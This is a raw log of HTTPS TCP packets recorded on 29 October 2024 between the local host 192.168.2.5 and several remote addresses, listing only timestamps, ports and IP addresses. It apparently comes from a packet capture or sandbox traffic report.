Oct 29, 2024 06:59:29.238692045 CET	443	49823	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.238976955 CET	49823	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.239161968 CET	49823	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.239168882 CET	443	49823	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.266627073 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.266693115 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.266726017 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.266736031 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.266769886 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.266782999 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.267071962 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.267116070 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.267136097 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.267141104 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.267165899 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.267185926 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.267653942 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.267700911 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.267716885 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.267724991 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.267755985 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.267765999 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.267954111 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.268018007 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.268023014 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.268068075 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.268124104 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.268168926 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.268506050 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.268512011 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.359139919 CET	49836	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.359184027 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.359368086 CET	49836	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.359848976 CET	49836	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.359868050 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.591573000 CET	443	49828	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.592345953 CET	49828	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.592356920 CET	443	49828	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.592808962 CET	443	49828	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.594922066 CET	49828	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.594997883 CET	443	49828	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.606842041 CET	443	49830	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.607197046 CET	49830	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.607204914 CET	443	49830	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.608700991 CET	443	49830	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.608762026 CET	49830	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.609133005 CET	49830	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.609189034 CET	443	49830	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.634438992 CET	443	49829	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.635591984 CET	49829	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.635608912 CET	443	49829	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.636140108 CET	443	49829	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.636549950 CET	49829	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.636631012 CET	443	49829	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.662328959 CET	49837	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.662360907 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.662530899 CET	49837	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.662596941 CET	49838	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.662636042 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.662863970 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.662873983 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.662906885 CET	49838	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.662945032 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.663063049 CET	49840	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.663080931 CET	443	49840	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.663126945 CET	49840	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.663256884 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.663295031 CET	443	49841	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.663466930 CET	49837	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.663484097 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.663573980 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.663587093 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.663616896 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.663759947 CET	49840	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.663769007 CET	443	49840	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.663819075 CET	49838	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.663834095 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.663857937 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.663873911 CET	443	49841	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.707051039 CET	49829	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.707079887 CET	49828	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.707079887 CET	49830	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.707091093 CET	443	49830	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:29.760529041 CET	443	49833	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.762592077 CET	443	49832	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.763243914 CET	49833	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.763256073 CET	443	49833	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.763775110 CET	49833	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.763780117 CET	443	49833	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.763844013 CET	443	49831	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.764758110 CET	49832	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.764770031 CET	443	49832	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.765610933 CET	49832	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.765616894 CET	443	49832	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.766005993 CET	49831	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.766028881 CET	443	49831	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.766572952 CET	49831	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.766578913 CET	443	49831	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.885998011 CET	443	49834	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.886555910 CET	49834	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.886578083 CET	443	49834	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.887048960 CET	49834	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.887053013 CET	443	49834	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.889822960 CET	443	49833	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.890156984 CET	443	49833	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.890223026 CET	49833	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.890409946 CET	49833	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.890419006 CET	443	49833	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.890448093 CET	49833	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.890453100 CET	443	49833	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.891634941 CET	443	49835	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.892121077 CET	49835	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.892134905 CET	443	49835	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.892525911 CET	49835	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.892529964 CET	443	49835	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.892997026 CET	443	49832	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.893203020 CET	443	49832	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.893263102 CET	49832	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.893399000 CET	49832	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.893413067 CET	443	49832	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.893421888 CET	49832	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.893426895 CET	443	49832	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.894079924 CET	49842	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.894093037 CET	443	49842	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.894251108 CET	49842	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.894418001 CET	443	49831	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.894598961 CET	443	49831	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.894654989 CET	49831	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.895315886 CET	49842	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.895323038 CET	443	49842	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.895483017 CET	49831	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.895483017 CET	49831	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.895515919 CET	443	49831	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.895541906 CET	443	49831	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.896014929 CET	49830	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:29.897697926 CET	49843	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.897718906 CET	443	49843	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.897944927 CET	49843	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.898061991 CET	49843	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.898073912 CET	443	49843	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.898720026 CET	49844	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.898760080 CET	443	49844	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.898843050 CET	49844	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.898993015 CET	49844	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.899019003 CET	443	49844	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.953957081 CET	49846	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:29.953991890 CET	443	49846	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:29.954220057 CET	49846	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:29.955838919 CET	49846	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:29.955876112 CET	443	49846	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:30.015233040 CET	443	49834	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.015508890 CET	443	49834	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.015645027 CET	49834	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.018553019 CET	49834	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.018568039 CET	443	49834	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.018579006 CET	49834	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.018584967 CET	443	49834	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.020989895 CET	443	49835	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.021472931 CET	443	49835	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.021672964 CET	49835	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.022183895 CET	49835	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.022191048 CET	443	49835	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.022201061 CET	49835	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.022205114 CET	443	49835	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.062367916 CET	49847	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.062388897 CET	443	49847	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.063371897 CET	49847	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.063461065 CET	49848	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.063477993 CET	443	49848	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.063545942 CET	49848	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.064037085 CET	49847	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.064049006 CET	443	49847	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.064275980 CET	49848	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.064287901 CET	443	49848	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.089984894 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.090270042 CET	49836	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.090282917 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.091733932 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.093383074 CET	49836	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.093564987 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.093573093 CET	49836	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.135377884 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.205904961 CET	49836	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.225979090 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:30.226016045 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:30.226125002 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:30.226486921 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:30.226511955 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:30.269517899 CET	49850	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.269563913 CET	443	49850	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.269635916 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.269646883 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.269686937 CET	49850	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.269716978 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.269763947 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.269784927 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.269987106 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.270181894 CET	49853	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.270227909 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.270277023 CET	49853	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.270431995 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.270438910 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.270565033 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.270910978 CET	49855	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.270919085 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.270968914 CET	49855	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.273364067 CET	49855	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.273380041 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.273540020 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.273552895 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.273700953 CET	49853	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.273710012 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.273825884 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.273833036 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.273960114 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.273968935 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.274061918 CET	49850	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.274096012 CET	443	49850	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.391913891 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.392318964 CET	49837	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.392328978 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.393600941 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.394130945 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.395126104 CET	49837	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.395138979 CET	443	49840	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.395303011 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.395519972 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.395529032 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.395675898 CET	49840	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.395684004 CET	443	49840	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.396007061 CET	49837	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.396922112 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.396977901 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.397123098 CET	443	49840	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.397176981 CET	49840	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.397842884 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.398004055 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.398456097 CET	49840	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.398533106 CET	443	49840	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.398629904 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.398638010 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.398670912 CET	49840	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.398677111 CET	443	49840	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.401782990 CET	443	49841	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.401997089 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.402013063 CET	443	49841	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.404346943 CET	443	49841	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.404423952 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.404673100 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.404779911 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.404895067 CET	443	49841	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.407090902 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.407496929 CET	49838	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.407509089 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.409236908 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.409305096 CET	49838	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.409611940 CET	49838	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.409687996 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.410171032 CET	49838	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.410177946 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.439331055 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.509233952 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.509474993 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.509500027 CET	443	49841	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.520453930 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.520510912 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.520634890 CET	49837	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.520643950 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.520663023 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.520715952 CET	49837	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.521778107 CET	49837	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.521789074 CET	443	49837	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.522329092 CET	49857	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.522366047 CET	443	49857	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.522434950 CET	49857	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.523001909 CET	49857	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.523019075 CET	443	49857	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525290966 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525321007 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525391102 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.525398970 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525458097 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525501013 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525551081 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525561094 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.525628090 CET	49836	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.525645018 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525687933 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525767088 CET	443	49840	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525825024 CET	49836	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.525846958 CET	443	49840	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.525880098 CET	49840	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.525897026 CET	49840	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.527559042 CET	49839	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.527565002 CET	443	49839	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.527929068 CET	49858	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.527947903 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.528014898 CET	49858	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.528465986 CET	49836	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.528482914 CET	443	49836	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.528851032 CET	49840	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.528861046 CET	443	49840	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.529284000 CET	49858	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.529297113 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.534403086 CET	443	49841	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.534456015 CET	443	49841	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.534488916 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.534528017 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.537231922 CET	49841	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.537264109 CET	443	49841	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.537832022 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.537899017 CET	49838	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.537905931 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.537988901 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.538049936 CET	49838	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.542495012 CET	49838	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:30.542500973 CET	443	49838	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:30.618833065 CET	443	49844	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.619426012 CET	49844	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.619453907 CET	443	49844	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.619976997 CET	49844	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.619987011 CET	443	49844	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.630484104 CET	443	49843	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.630871058 CET	49843	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.630896091 CET	443	49843	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.631284952 CET	49843	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.631289959 CET	443	49843	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.665414095 CET	443	49842	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.665956020 CET	49842	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.665972948 CET	443	49842	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.666459084 CET	49842	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.666464090 CET	443	49842	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.758116007 CET	443	49844	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.758167982 CET	443	49844	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.758223057 CET	49844	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.758492947 CET	49844	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.758512020 CET	443	49844	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.758527040 CET	49844	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.758533955 CET	443	49844	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.760998964 CET	443	49843	13.107.246.60	192.168.2.5
